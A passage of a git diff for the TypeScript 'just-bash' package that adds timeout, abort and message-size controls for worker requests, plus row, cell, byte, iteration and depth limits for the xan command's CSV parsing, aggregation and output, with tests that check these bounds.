+    const request = new WorkerRequestController({
+      commandName: "test",
+      timeoutMs: 10,
+      signal: abort.signal,
+      maxMessageBytes: 100,
+    });
+    request.arm(cancel);
+    abort.abort();
+    vi.advanceTimersByTime(20);
+    expect(cancel).toHaveBeenCalledTimes(1);
+    request.close();
+    vi.useRealTimers();
+  });
+
+  it("does not schedule a platform-overflowing timer for Infinity", () => {
+    vi.useFakeTimers();
+    const cancel = vi.fn();
+    const request = new WorkerRequestController({
+      commandName: "test",
+      timeoutMs: Number.POSITIVE_INFINITY,
+      maxMessageBytes: 100,
+    });
+    request.arm(cancel);
+    vi.advanceTimersByTime(10_000);
+    expect(cancel).not.toHaveBeenCalled();
+    expect(request.remainingTimeMs()).toBe(Number.POSITIVE_INFINITY);
+    request.close();
+    vi.useRealTimers();
+  });
+
+  it("bounds nested and cyclic structured-clone payloads", () => {
+    const value: Record<string, unknown> = { text: "😀" };
+    value.self = value;
+    expect(estimateMessageBytes(value, 100)).toBe(28);
+    const request = new WorkerRequestController({
+      commandName: "test",
+      timeoutMs: 100,
+      maxMessageBytes: 7,
+    });
+    expect(() => request.assertMessageSize(value, "response")).toThrow(
+      "worker response exceeds 7 byte limit",
+    );
+  });
+
+  it("rejects huge arrays without spreading them onto the host stack", () => {
+    expect(estimateMessageBytes(new Array(1_000_000), 100)).toBe(101);
+  });
+});
diff --git a/packages/just-bash/src/commands/worker-request-controller.ts b/packages/just-bash/src/commands/worker-request-controller.ts
new file mode 100644
index 00000000..9c107c24
--- /dev/null
+++ b/packages/just-bash/src/commands/worker-request-controller.ts
@@ -0,0 +1,185 @@
+import { randomBytes } from "node:crypto";
+import type { Worker } from "node:worker_threads";
+import { _clearFiniteTimeout, _setTimeoutIfFinite } from "../timers.js";
+
+type CancelReason = "abort" | "timeout";
+
+export interface WorkerRequestControllerOptions {
+  commandName: string;
+  timeoutMs: number;
+  signal?: AbortSignal;
+  maxMessageBytes: number;
+}
+
+/**
+ * Execution-owned lifecycle for a single worker request.  Queue implementations
+ * remain command-specific, but cancellation is armed before enqueueing and all
+ * request-owned listeners/timers are removed exactly once.
+ */
+export class WorkerRequestController {
+  readonly protocolToken: string = randomBytes(16).toString("hex");
+  readonly deadline: number;
+  private readonly cleanups: Array<() => void> = [];
+  private cancelHandler: ((reason: CancelReason) => void) | undefined;
+  private canceledReason: CancelReason | undefined;
+  private closed = false;
+
+  constructor(private readonly options: WorkerRequestControllerOptions) {
+    this.deadline = Date.now() + options.timeoutMs;
+  }
+
+  /** Arm cancellation before the caller makes the request visible in a queue. */
+  arm(onCancel: (reason: CancelReason) => void): void {
+    if (this.cancelHandler) throw new Error("worker request is already armed");
+    this.cancelHandler = onCancel;
+
+    const signal = this.options.signal;
+    if (signal) {
+      const abort = () => this.cancel("abort");
+      signal.addEventListener("abort", abort, { once: true });
+      this.cleanups.push(() => signal.removeEventListener("abort", abort));
+      if (signal.aborted) this.cancel("abort");
+    }
+
+    if (!this.canceledReason) {
+      const timer = _setTimeoutIfFinite(
+        () => this.cancel("timeout"),
+        Math.max(0, this.options.timeoutMs),
+      );
+      if (timer !== undefined) {
+        this.cleanups.push(() => _clearFiniteTimeout(timer));
+      }
+    }
+  }
+
+  get isCanceled(): boolean {
+    return this.canceledReason !== undefined;
+  }
+
+  remainingTimeMs(): number {
+    return Math.max(0, this.deadline - Date.now());
+  }
+
+  timeoutMessage(noun = "Execution"): string {
+    return `${noun} timeout: exceeded ${this.options.timeoutMs}ms limit`;
+  }
+
+  abortMessage(): string {
+    return "Execution aborted";
+  }
+
+  assertMessageSize(value: unknown, direction: "request" | "response"): void {
+    const bytes = estimateMessageBytes(value, this.options.maxMessageBytes);
+    if (bytes > this.options.maxMessageBytes) {
+      throw new Error(
+        `${this.options.commandName}: worker ${direction} exceeds ${this.options.maxMessageBytes} byte limit`,
+      );
+    }
+  }
+
+  async terminate(worker: Worker | null | undefined): Promise<boolean> {
+    if (!worker) return true;
+    try {
+      await worker.terminate();
+      return true;
+    } catch {
+      // Rejection is not an acknowledgement that stale worker authority ended.
+      return false;
+    }
+  }
+
+  close(): void {
+    if (this.closed) return;
+    this.closed = true;
+    for (let index = this.cleanups.length - 1; index >= 0; index--) {
+      this.cleanups[index]();
+    }
+    this.cleanups.length = 0;
+    this.cancelHandler = undefined;
+  }
+
+  private cancel(reason: CancelReason): void {
+    if (this.closed || this.canceledReason) return;
+    this.canceledReason = reason;
+    this.cancelHandler?.(reason);
+  }
+}
+
+/** Conservative, allocation-free estimate for structured-clone payloads. */
+export function estimateMessageBytes(
+  value: unknown,
+  stopAfter: number,
+): number {
+  type Pending =
+    | { kind: "value"; value: unknown }
+    | { kind: "array"; value: unknown[]; index: number }
+    | {
+        kind: "object";
+        iterator: Generator<readonly [string, unknown], void, unknown>;
+      };
+  const ownEntries = function* (
+    object: Record<string, unknown>,
+  ): Generator<readonly [string, unknown], void, unknown> {
+    for (const key in object) {
+      if (Object.hasOwn(object, key)) yield [key, object[key]] as const;
+    }
+  };
+  const pending: Pending[] = [{ kind: "value", value }];
+  const seen = new WeakSet<object>();
+  let bytes = 0;
+  while (pending.length > 0 && bytes <= stopAfter) {
+    const work = pending.pop();
+    if (!work) break;
+    if (work.kind === "array") {
+      if (work.index < work.value.length) {
+        pending.push({ ...work, index: work.index + 1 });
+        pending.push({ kind: "value", value: work.value[work.index] });
+      }
+      continue;
+    }
+    if (work.kind === "object") {
+      const next = work.iterator.next();
+      if (!next.done) {
+        bytes += 8 + Buffer.byteLength(next.value[0], "utf8");
+        pending.push(work);
+        pending.push({ kind: "value", value: next.value[1] });
+      }
+      continue;
+    }
+    const item = work.value;
+    if (item === null || item === undefined) {
+      bytes += 4;
+    } else if (typeof item === "string") {
+      bytes += Buffer.byteLength(item, "utf8");
+    } else if (typeof item === "number" || typeof item === "bigint") {
+      bytes += 8;
+    } else if (typeof item === "boolean") {
+      bytes += 1;
+    } else if (typeof item === "object") {
+      if (seen.has(item)) continue;
+      seen.add(item);
+      if (ArrayBuffer.isView(item)) {
+        bytes += item.byteLength;
+      } else if (
+        item instanceof ArrayBuffer ||
+        item instanceof SharedArrayBuffer
+      ) {
+        bytes += item.byteLength;
+      } else if (Array.isArray(item)) {
+        // Account clone metadata before traversing, and reject without growing
+        // the host work stack when the array alone cannot fit.
+        if (item.length > Math.floor((stopAfter - bytes) / 8)) {
+          return stopAfter + 1;
+        }
+        bytes += item.length * 8;
+        pending.push({ kind: "array", value: item, index: 0 });
+      } else {
+        pending.push({
+          kind: "object",
+          iterator: ownEntries(item as Record<string, unknown>),
+        });
+      }
+    }
+  }
+  return bytes;
+}
diff --git a/packages/just-bash/src/commands/xan/aggregation.ts b/packages/just-bash/src/commands/xan/aggregation.ts
index b66d3290..dcbcb479 100644
--- a/packages/just-bash/src/commands/xan/aggregation.ts
+++ b/packages/just-bash/src/commands/xan/aggregation.ts
@@ -2,11 +2,28 @@
  * Aggregation functions for xan command
  */
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import { utf8ByteLength } from "../printf/escapes.js";
 import { type EvaluateOptions, evaluate } from "../query-engine/index.js";
 import { type CsvData, type CsvRow, createSafeRow, safeSetRow } from "./csv.js";
 import { parseMoonblade } from "./moonblade-parser.js";
 import { moonbladeToJq } from "./moonblade-to-jq.js";
 
+export interface AggregationLimits {
+  maxArrayElements?: number;
+  maxStringLength?: number;
+  maxIterations?: number;
+  maxDepth?: number;
+  /** Charge command-wide work before performing attacker-sized operations. */
+  consumeWork?: (units?: number) => void;
+}
+
+/** Conservative comparison work to reserve before allocating a sorted copy. */
+export function estimateSortingWork(length: number): number {
+  if (length < 2) return 0;
+  return Math.ceil(length * Math.log2(length));
+}
+
 /** Aggregation specification from parsed expression */
 export interface AggSpec {
   func: string;
@@ -18,11 +35,35 @@ export interface AggSpec {
  * Parse aggregation expression: "func(expr) as alias" or "func(expr)"
  * Handles nested parentheses in expressions like sum(add(a, b))
  */
-export function parseAggExpr(expr: string): AggSpec[] {
+export function parseAggExpr(
+  expr: string,
+  limits: AggregationLimits = {},
+): AggSpec[] {
+  const maxArrayElements = limits.maxArrayElements ?? 100_000;
+  const maxStringLength = limits.maxStringLength ?? 10 * 1024 * 1024;
+  const maxIterations = limits.maxIterations ?? 100_000;
+  const maxDepth = limits.maxDepth ?? 100;
+  if (utf8ByteLength(expr) > maxStringLength) {
+    throw new ExecutionLimitError(
+      `xan: aggregation expression length limit exceeded (${maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
   const specs: AggSpec[] = [];
   let i = 0;
+  let operations = 0;
+  const useOperation = (): void => {
+    limits.consumeWork?.();
+    if (++operations > maxIterations) {
+      throw new ExecutionLimitError(
+        `xan: aggregation parser operation limit exceeded (${maxIterations})`,
+        "iterations",
+      );
+    }
+  };
 
   while (i < expr.length) {
+    useOperation();
     // Skip whitespace and commas
     while (i < expr.length && (expr[i] === " " || expr[i] === ",")) i++;
     if (i >= expr.length) break;
@@ -43,8 +84,15 @@ export function parseAggExpr(expr: string): AggSpec[] {
     let parenDepth = 1;
     const exprStart = i;
     while (i < expr.length && parenDepth > 0) {
+      useOperation();
       if (expr[i] === "(") parenDepth++;
       else if (expr[i] === ")") parenDepth--;
+      if (parenDepth > maxDepth) {
+        throw new ExecutionLimitError(
+          `xan: aggregation parser depth limit exceeded (${maxDepth})`,
+          "recursion",
+        );
+      }
       if (parenDepth > 0) i++;
     }
     const innerExpr = expr.slice(exprStart, i).trim();
@@ -68,6 +116,12 @@ export function parseAggExpr(expr: string): AggSpec[] {
       alias = innerExpr ? `${func}(${innerExpr})` : `${func}()`;
     }
 
+    if (specs.length >= maxArrayElements) {
+      throw new ExecutionLimitError(
+        `xan: aggregation specification limit exceeded (${maxArrayElements})`,
+        "array_elements",
+      );
+    }
     specs.push({ func, expr: innerExpr, alias });
   }
 
@@ -82,10 +136,9 @@ function isSimpleColumn(expr: string): boolean {
 /** Evaluate a moonblade expression for a row */
 function evalExpr(
   row: CsvRow,
-  expr: string,
+  ast: ReturnType<typeof moonbladeToJq>,
   evalOptions: EvaluateOptions,
 ): unknown {
-  const ast = moonbladeToJq(parseMoonblade(expr));
   const results = evaluate(row, ast, evalOptions);
   return results.length > 0 ? results[0] : null;
 }
@@ -95,66 +148,140 @@ export function computeAgg(
   data: CsvData,
   spec: AggSpec,
   evalOptions: EvaluateOptions = {},
+  limits: AggregationLimits = {},
 ): number | string | boolean | null {
   const { func, expr } = spec;
+  const maxArrayElements = limits.maxArrayElements ?? 100_000;
+  const maxStringLength = limits.maxStringLength ?? 10 * 1024 * 1024;
+  const maxIterations = limits.maxIterations ?? 100_000;
+  const parserLimits = {
+    maxSourceLength: maxStringLength,
+    maxTokens: maxArrayElements,
+    maxAstNodes: maxArrayElements,
+    maxOperations: maxIterations,
+    maxDepth: limits.maxDepth ?? 100,
+  };
+  if (data.length > maxArrayElements) {
+    throw new ExecutionLimitError(
+      `xan: aggregation input limit exceeded (${maxArrayElements})`,
+      "array_elements",
+    );
+  }
 
   // Special case: count() with no expression
   if (func === "count" && !expr) {
     return data.length;
   }
 
-  // Get values - either simple column access or expression evaluation
-  let values: unknown[];
-  if (isSimpleColumn(expr)) {
-    values = data
-      .map((r) => r[expr])
-      .filter((v) => v !== null && v !== undefined);
+  const simpleColumn = isSimpleColumn(expr);
+  const ast = simpleColumn
+    ? null
+    : moonbladeToJq(parseMoonblade(expr, parserLimits), true, parserLimits);
+  let evaluateRow: (row: CsvRow) => unknown;
+  if (simpleColumn) {
+    evaluateRow = (row) => row[expr];
   } else {
-    // Complex expression - evaluate for each row
-    values = data
-      .map((r) => evalExpr(r, expr, evalOptions))
-      .filter((v) => v !== null && v !== undefined);
+    if (ast === null) {
+      throw new Error("xan: missing compiled aggregation expression");
+    }
+    evaluateRow = (row) => evalExpr(row, ast, evalOptions);
+  }
+
+  if (func === "all" || func === "any") {
+    let iterations = 0;
+    for (const row of data) {
+      limits.consumeWork?.();
+      if (++iterations > maxIterations) {
+        throw new ExecutionLimitError(
+          `xan: aggregation iteration limit exceeded (${maxIterations})`,
+          "iterations",
+        );
+      }
+      const truthy = !!evaluateRow(row);
+      if (func === "all" && !truthy) return false;
+      if (func === "any" && truthy) return true;
+    }
+    return func === "all";
+  }
+
+  const values: unknown[] = [];
+  let iterations = 0;
+  for (const row of data) {
+    limits.consumeWork?.();
+    if (++iterations > maxIterations) {
+      throw new ExecutionLimitError(
+        `xan: aggregation iteration limit exceeded (${maxIterations})`,
+        "iterations",
+      );
+    }
+    const value = evaluateRow(row);
+    if (value !== null && value !== undefined) {
+      if (values.length >= maxArrayElements) {
+        throw new ExecutionLimitError(
+          `xan: aggregation value limit exceeded (${maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      values.push(value);
+    }
   }
 
   switch (func) {
     case "count": {
       // count(expr) - count rows where expression is truthy
-      if (isSimpleColumn(expr)) {
+      if (simpleColumn) {
         return values.length;
       }
       // For expressions like count(n > 2), count truthy values
-      return values.filter((v) => !!v).length;
+      let count = 0;
+      for (const value of values) {
+        limits.consumeWork?.();
+        if (value) count++;
+      }
+      return count;
     }
 
     case "sum": {
-      const nums = values.map((v) =>
-        typeof v === "number" ? v : Number.parseFloat(String(v)),
-      );
-      return nums.reduce((a, b) => a + b, 0);
+      let sum = 0;
+      for (const value of values) {
+        limits.consumeWork?.();
+        sum +=
+          typeof value === "number" ? value : Number.parseFloat(String(value));
+      }
+      return sum;
     }
 
     case "mean":
     case "avg": {
-      const nums = values.map((v) =>
-        typeof v === "number" ? v : Number.parseFloat(String(v)),
-      );
-      return nums.length > 0
-        ? nums.reduce((a, b) => a + b, 0) / nums.length
-        : 0;
+      let sum = 0;
+      for (const value of values) {
+        limits.consumeWork?.();
+        sum +=
+          typeof value === "number" ? value : Number.parseFloat(String(value));
+      }
+      return values.length > 0 ? sum / values.length : 0;
     }
 
     case "min": {
-      const nums = values.map((v) =>
-        typeof v === "number" ? v : Number.parseFloat(String(v)),
-      );
-      return nums.length > 0 ? Math.min(...nums) : null;
+      let minimum: number | null = null;
+      for (const value of values) {
+        limits.consumeWork?.();
+        const number =
+          typeof value === "number" ? value : Number.parseFloat(String(value));
+        minimum = minimum === null ? number : Math.min(minimum, number);
+      }
+      return minimum;
     }
 
     case "max": {
-      const nums = values.map((v) =>
-        typeof v === "number" ? v : Number.parseFloat(String(v)),
-      );
-      return nums.length > 0 ? Math.max(...nums) : null;
+      let maximum: number | null = null;
+      for (const value of values) {
+        limits.consumeWork?.();
+        const number =
+          typeof value === "number" ? value : Number.parseFloat(String(value));
+        maximum = maximum === null ? number : Math.max(maximum, number);
+      }
+      return maximum;
     }
 
     case "first":
@@ -166,10 +293,15 @@ export function computeAgg(
         : null;
 
     case "median": {
-      const nums = values
-        .map((v) => (typeof v === "number" ? v : Number.parseFloat(String(v))))
-        .filter((n) => !Number.isNaN(n))
-        .sort((a, b) => a - b);
+      const nums: number[] = [];
+      for (const value of values) {
+        limits.consumeWork?.();
+        const number =
+          typeof value === "number" ? value : Number.parseFloat(String(value));
+        if (!Number.isNaN(number)) nums.push(number);
+      }
+      limits.consumeWork?.(estimateSortingWork(nums.length));
+      nums.sort((a, b) => a - b);
       if (nums.length === 0) return null;
       const mid = Math.floor(nums.length / 2);
       if (nums.length % 2 === 0) {
@@ -181,12 +313,14 @@ export function computeAgg(
     case "mode": {
       const counts = new Map<string, number>();
       for (const v of values) {
+        limits.consumeWork?.();
         const key = String(v);
         counts.set(key, (counts.get(key) || 0) + 1);
       }
       let maxCount = 0;
       let mode: string | null = null;
       for (const [val, count] of counts) {
+        limits.consumeWork?.();
         if (count > maxCount) {
           maxCount = count;
           mode = val;
@@ -196,36 +330,20 @@ export function computeAgg(
     }
 
     case "cardinality": {
-      const unique = new Set(values.map((v) => String(v)));
+      const unique = new Set<string>();
+      for (const value of values) {
+        limits.consumeWork?.();
+        unique.add(String(value));
+      }
       return unique.size;
     }
 
     case "values": {
-      return values.map((v) => String(v)).join("|");
+      return joinAggregationValues(values, false, maxStringLength, limits);
     }
 
     case "distinct_values": {
-      const unique = [...new Set(values.map((v) => String(v)))].sort();
-      return unique.join("|");
-    }
-
-    case "all": {
-      // all(expr) - check if all rows have truthy value for expression
-      if (data.length === 0) return true;
-      for (const row of data) {
-        const result = evalExpr(row, expr, evalOptions);
-        if (!result) return false;
-      }
-      return true;
-    }
-
-    case "any": {
-      // any(expr) - check if any row has truthy value for expression
-      for (const row of data) {
-        const result = evalExpr(row, expr, evalOptions);
-        if (result) return true;
-      }
-      return false;
+      return joinAggregationValues(values, true, maxStringLength, limits);
     }
 
     default:
@@ -238,10 +356,43 @@ export function buildAggRow(
   data: CsvData,
   specs: AggSpec[],
   evalOptions: EvaluateOptions = {},
+  limits: AggregationLimits = {},
 ): CsvRow {
   const row: CsvRow = createSafeRow();
   for (const spec of specs) {
-    safeSetRow(row, spec.alias, computeAgg(data, spec, evalOptions));
+    safeSetRow(row, spec.alias, computeAgg(data, spec, evalOptions, limits));
   }
   return row;
 }
+
+function joinAggregationValues(
+  values: unknown[],
+  distinct: boolean,
+  maxStringLength: number,
+  limits: AggregationLimits,
+): string {
+  const strings: string[] = [];
+  const seen = distinct ? new Set<string>() : null;
+  let outputBytes = 0;
+  for (const value of values) {
+    limits.consumeWork?.();
+    const stringValue = String(value);
+    if (seen?.has(stringValue)) continue;
+    seen?.add(stringValue);
+    const addedBytes =
+      utf8ByteLength(stringValue) + (strings.length > 0 ? 1 : 0);
+    if (addedBytes > maxStringLength - outputBytes) {
+      throw new ExecutionLimitError(
+        `xan: aggregation string limit exceeded (${maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    strings.push(stringValue);
+    outputBytes += addedBytes;
+  }
+  if (distinct) {
+    limits.consumeWork?.(estimateSortingWork(strings.length));
+    strings.sort();
+  }
+  return strings.join("|");
+}
diff --git a/packages/just-bash/src/commands/xan/bounded-output.ts b/packages/just-bash/src/commands/xan/bounded-output.ts
new file mode 100644
index 00000000..76ea8b35
--- /dev/null
+++ b/packages/just-bash/src/commands/xan/bounded-output.ts
@@ -0,0 +1,7 @@
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+
+export class XanOutputBuilder extends BoundedStringBuilder {
+  constructor(maxBytes: number) {
+    super(maxBytes, "xan");
+  }
+}
diff --git a/packages/just-bash/src/commands/xan/column-selection.ts b/packages/just-bash/src/commands/xan/column-selection.ts
index 36a001b5..71532348 100644
--- a/packages/just-bash/src/commands/xan/column-selection.ts
+++ b/packages/just-bash/src/commands/xan/column-selection.ts
@@ -4,15 +4,18 @@
 
 import { createUserRegex, type RegexLike } from "../../regex/index.js";
 import type { AstNode } from "../query-engine/parser.js";
-import { parseMoonblade } from "./moonblade-parser.js";
+import { type MoonbladeLimits, parseMoonblade } from "./moonblade-parser.js";
 import { moonbladeToJq } from "./moonblade-to-jq.js";
 
 /**
  * Parse a moonblade expression and transform to jq AST
  */
-export function parseMoonbladeExpr(expr: string): AstNode {
-  const moonbladeAst = parseMoonblade(expr);
-  return moonbladeToJq(moonbladeAst);
+export function parseMoonbladeExpr(
+  expr: string,
+  limits: MoonbladeLimits = {},
+): AstNode {
+  const moonbladeAst = parseMoonblade(expr, limits);
+  return moonbladeToJq(moonbladeAst, true, limits);
 }
 
 /**
diff --git a/packages/just-bash/src/commands/xan/csv.ts b/packages/just-bash/src/commands/xan/csv.ts
index 91c3df17..bac90700 100644
--- a/packages/just-bash/src/commands/xan/csv.ts
+++ b/packages/just-bash/src/commands/xan/csv.ts
@@ -3,14 +3,74 @@
  */
 
 import Papa from "papaparse";
-import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { CommandContext, ExecResult } from "../../types.js";
+import {
+  BoundedStringBuilder,
+  checkedAdd,
+  checkedMultiply,
+} from "../../bounded-builder.js";
+import { decodeBytesToUtf8, utf8ByteLength } from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type { ExecResult, RuntimeCommandContext } from "../../types.js";
 
 export interface CsvRow {
   [key: string]: string | number | boolean | null;
 }
 
 export type CsvData = CsvRow[];
+export type CsvCells = Array<Array<string | number | boolean | null>>;
+
+export interface CsvParseLimits {
+  maxStringLength?: number;
+  maxArrayElements?: number;
+  maxRows?: number;
+  maxCells?: number;
+}
+
+/** RuntimeCommand-wide prospective accounting for attacker-amplified CSV results. */
+export class DerivedCsvBudget {
+  private rows = 0;
+  private cells = 0;
+
+  constructor(
+    private readonly ctx: RuntimeCommandContext,
+    private readonly site: string,
+  ) {}
+
+  consumeWork(units = 1): void {
+    this.ctx.executionScope?.consumeWork(units, this.site);
+  }
+
+  addRow(cellCount: number): void {
+    this.addRows(1, cellCount);
+  }
+
+  /** Reserve a known result cardinality before constructing any result rows. */
+  addRows(rowCount: number, cellCount: number): void {
+    const cells = checkedMultiply(rowCount, cellCount, this.site);
+    if (
+      !Number.isSafeInteger(rowCount) ||
+      rowCount < 0 ||
+      !Number.isSafeInteger(cellCount) ||
+      cellCount < 0 ||
+      cellCount > this.ctx.limits.maxArrayElements ||
+      rowCount >
+        Math.min(this.ctx.limits.maxCsvRows, this.ctx.limits.maxArrayElements) -
+          this.rows ||
+      cells > this.ctx.limits.maxCsvCells - this.cells
+    ) {
+      throw new ExecutionLimitError(
+        `${this.site}: derived CSV result limit exceeded`,
+        "array_elements",
+      );
+    }
+    this.consumeWork(
+      checkedMultiply(rowCount, checkedAdd(1, cellCount, this.site), this.site),
+    );
+    this.rows += rowCount;
+    this.cells += cells;
+  }
+}
 
 /**
  * Create a null-prototype CsvRow to prevent prototype pollution.
@@ -54,36 +114,237 @@ export function toSafeRow(plainRow: Record<string, unknown>): CsvRow {
 }
 
 /** Parse CSV input string to array of row objects */
-export function parseCsv(input: string): { headers: string[]; data: CsvData } {
-  const result = Papa.parse<CsvRow>(input.trim(), {
+export function parseCsv(
+  input: string,
+  limits: CsvParseLimits = {},
+): { headers: string[]; data: CsvData } {
+  const maxStringLength = limits.maxStringLength ?? 10 * 1024 * 1024;
+  const maxArrayElements = limits.maxArrayElements ?? 100_000;
+  const maxRows = limits.maxRows ?? maxArrayElements;
+  const maxCells = limits.maxCells ?? 10_000_000;
+  if (utf8ByteLength(input) > maxStringLength) {
+    throw new ExecutionLimitError(
+      `xan: CSV input size limit exceeded (${maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
+
+  const safeData: CsvData = [];
+  const normalizedInput = input.trim();
+  const headerResult = Papa.parse<string[]>(normalizedInput, {
+    preview: 1,
+    skipEmptyLines: true,
+  });
+  let headers = headerResult.data[0] ?? [];
+  if (headers.length > maxArrayElements) {
+    throw new ExecutionLimitError(
+      `xan: CSV column limit exceeded (${maxArrayElements})`,
+      "array_elements",
+    );
+  }
+  let cellCount = 0;
+  let limitError: ExecutionLimitError | undefined;
+  Papa.parse<Record<string, unknown>>(normalizedInput, {
     header: true,
     dynamicTyping: true,
     skipEmptyLines: true,
+    step: (result, parser) => {
+      const fields = Object.keys(result.data);
+      if (safeData.length === 0 && result.meta.fields) {
+        if (result.meta.fields.length > maxArrayElements) {
+          limitError = new ExecutionLimitError(
+            `xan: CSV column limit exceeded (${maxArrayElements})`,
+            "array_elements",
+          );
+          parser.abort();
+          return;
+        }
+        headers = [...result.meta.fields];
+      }
+      if (safeData.length >= maxRows || fields.length > maxCells - cellCount) {
+        limitError = new ExecutionLimitError(
+          safeData.length >= maxRows
+            ? `xan: CSV row limit exceeded (${maxRows})`
+            : `xan: CSV cell limit exceeded (${maxCells})`,
+          "array_elements",
+        );
+        parser.abort();
+        return;
+      }
+      cellCount += fields.length;
+      safeData.push(toSafeRow(result.data));
+    },
   });
-  // Convert each row to a null-prototype object to prevent prototype pollution
-  const safeData = result.data.map((row) =>
-    toSafeRow(row as Record<string, unknown>),
-  );
-  return {
-    headers: result.meta.fields || [],
-    data: safeData,
-  };
+  if (limitError) throw limitError;
+  return { headers, data: safeData };
+}
+
+/** Parse headerless/ragged CSV incrementally while enforcing aggregate limits. */
+export function parseCsvRows(
+  input: string,
+  limits: CsvParseLimits = {},
+): CsvCells {
+  const maxStringLength = limits.maxStringLength ?? 10 * 1024 * 1024;
+  const maxArrayElements = limits.maxArrayElements ?? 100_000;
+  const maxRows = limits.maxRows ?? maxArrayElements;
+  const maxCells = limits.maxCells ?? 10_000_000;
+  if (utf8ByteLength(input) > maxStringLength) {
+    throw new ExecutionLimitError(
+      `xan: CSV input size limit exceeded (${maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
+
+  const rows: CsvCells = [];
+  let cells = 0;
+  let limitError: ExecutionLimitError | undefined;
+  Papa.parse<Array<string | number | boolean | null>>(input.trim(), {
+    header: false,
+    dynamicTyping: false,
+    skipEmptyLines: true,
+    step: (result, parser) => {
+      const row = result.data;
+      if (
+        rows.length >= maxRows ||
+        row.length > maxArrayElements ||
+        row.length > maxCells - cells
+      ) {
+        limitError = new ExecutionLimitError(
+          rows.length >= maxRows
+            ? `xan: CSV row limit exceeded (${maxRows})`
+            : row.length > maxArrayElements
+              ? `xan: CSV column limit exceeded (${maxArrayElements})`
+              : `xan: CSV cell limit exceeded (${maxCells})`,
+          "array_elements",
+        );
+        parser.abort();
+        return;
+      }
+      cells += row.length;
+      rows.push(row);
+    },
+  });
+  if (limitError) throw limitError;
+  return rows;
 }
 
 /** Format array of row objects back to CSV string */
-export function formatCsv(headers: string[], data: CsvData): string {
-  if (data.length === 0) {
-    return `${headers.join(",")}\n`;
+export function formatCsv(
+  headers: string[],
+  data: CsvData,
+  ctx?: RuntimeCommandContext,
+): string {
+  return formatCsvValues(
+    data.length,
+    headers.length,
+    (row, column) => data[row][headers[column]],
+    ctx,
+    headers,
+  );
+}
+
+/** Format object rows in header order, omitting the header record itself. */
+export function formatCsvWithoutHeaders(
+  headers: string[],
+  data: CsvData,
+  ctx: RuntimeCommandContext,
+): string {
+  return formatCsvValues(
+    data.length,
+    headers.length,
+    (row, column) => data[row][headers[column]],
+    ctx,
+  );
+}
+
+/** Format already-materialized cells without Papa.unparse's unbounded copy. */
+export function formatCsvRows(
+  data: readonly (readonly unknown[])[],
+  ctx?: RuntimeCommandContext,
+  headers?: readonly unknown[],
+): string {
+  return formatCsvValues(
+    data.length,
+    undefined,
+    (row, column) => data[row][column],
+    ctx,
+    headers,
+    (row) => data[row].length,
+  );
+}
+
+function formatCsvValues(
+  rowCount: number,
+  columnCount: number | undefined,
+  valueAt: (row: number, column: number) => unknown,
+  ctx?: RuntimeCommandContext,
+  headers?: readonly unknown[],
+  columnsAt: (row: number) => number = () => columnCount ?? 0,
+): string {
+  const maxBytes = ctx?.limits.maxOutputSize ?? Number.MAX_SAFE_INTEGER;
+  const output = new BoundedStringBuilder(
+    maxBytes,
+    "xan CSV output",
+    ctx
+      ? () =>
+          new ExecutionLimitError(
+            `xan: output size limit exceeded (${maxBytes} bytes)`,
+            "output_size",
+          )
+      : undefined,
+  );
+
+  const appendCell = (value: unknown): void => {
+    const raw = value === null || value === undefined ? "" : String(value);
+    let quoteCount = 0;
+    for (let index = 0; index < raw.length; index++) {
+      if (raw.charCodeAt(index) === 34) quoteCount++;
+    }
+    const needsQuotes =
+      quoteCount > 0 ||
+      raw.includes("\r") ||
+      raw.includes("\n") ||
+      raw.includes(",") ||
+      raw.includes("\uFEFF") ||
+      raw.startsWith(" ") ||
+      raw.endsWith(" ");
+    // Prove quote replacement fits before replace() can expand the cell.
+    output.reserve(
+      checkedAdd(
+        utf8ByteLength(raw),
+        checkedAdd(quoteCount, needsQuotes ? 2 : 0, "xan CSV output"),
+        "xan CSV output",
+      ),
+    );
+    const escaped = quoteCount > 0 ? raw.replace(/"/g, '""') : raw;
+    output.append(needsQuotes ? `"${escaped}"` : escaped);
+  };
+  const appendRow = (row: number, columns: number): void => {
+    for (let index = 0; index < columns; index++) {
+      if (index > 0) output.append(",");
+      appendCell(valueAt(row, index));
+    }
+    output.append("\n");
+  };
+
+  if (headers) {
+    for (let index = 0; index < headers.length; index++) {
+      if (index > 0) output.append(",");
+      appendCell(headers[index]);
+    }
+    output.append("\n");
   }
-  // papaparse may produce \r\n, normalize to \n
-  const csv = Papa.unparse(data, { columns: headers });
-  return `${csv.replace(/\r\n/g, "\n")}\n`;
+  for (let row = 0; row < rowCount; row++) {
+    ctx?.executionScope?.throwIfAborted("xan CSV output");
+    appendRow(row, columnCount ?? columnsAt(row));
+  }
+  return output.build();
 }
 
 /** Read CSV input from file or stdin */
 export async function readCsvInput(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<{ headers: string[]; data: CsvData; error?: ExecResult }> {
   const file = args.find((a) => !a.startsWith("-"));
   let input: string;
@@ -95,7 +356,8 @@ export async function readCsvInput(
     try {
       const path = ctx.fs.resolvePath(ctx.cwd, file);
       input = await ctx.fs.readFile(path);
-    } catch {
+    } catch (error) {
+      rethrowFatalExecutionError(error);
       return {
         headers: [],
         data: [],
@@ -108,6 +370,14 @@ export async function readCsvInput(
     }
   }
 
-  const { headers, data } = parseCsv(input);
+  const { headers, data } = parseCsv(input, {
+    maxStringLength: Math.min(
+      ctx.limits.maxInputBytes,
+      ctx.limits.maxStringLength,
+    ),
+    maxArrayElements: ctx.limits.maxArrayElements,
+    maxRows: ctx.limits.maxCsvRows,
+    maxCells: ctx.limits.maxCsvCells,
+  });
   return { headers, data };
 }
diff --git a/packages/just-bash/src/commands/xan/moonblade-parser.ts b/packages/just-bash/src/commands/xan/moonblade-parser.ts
index eda3ff70..d95afb5b 100644
--- a/packages/just-bash/src/commands/xan/moonblade-parser.ts
+++ b/packages/just-bash/src/commands/xan/moonblade-parser.ts
@@ -7,12 +7,34 @@
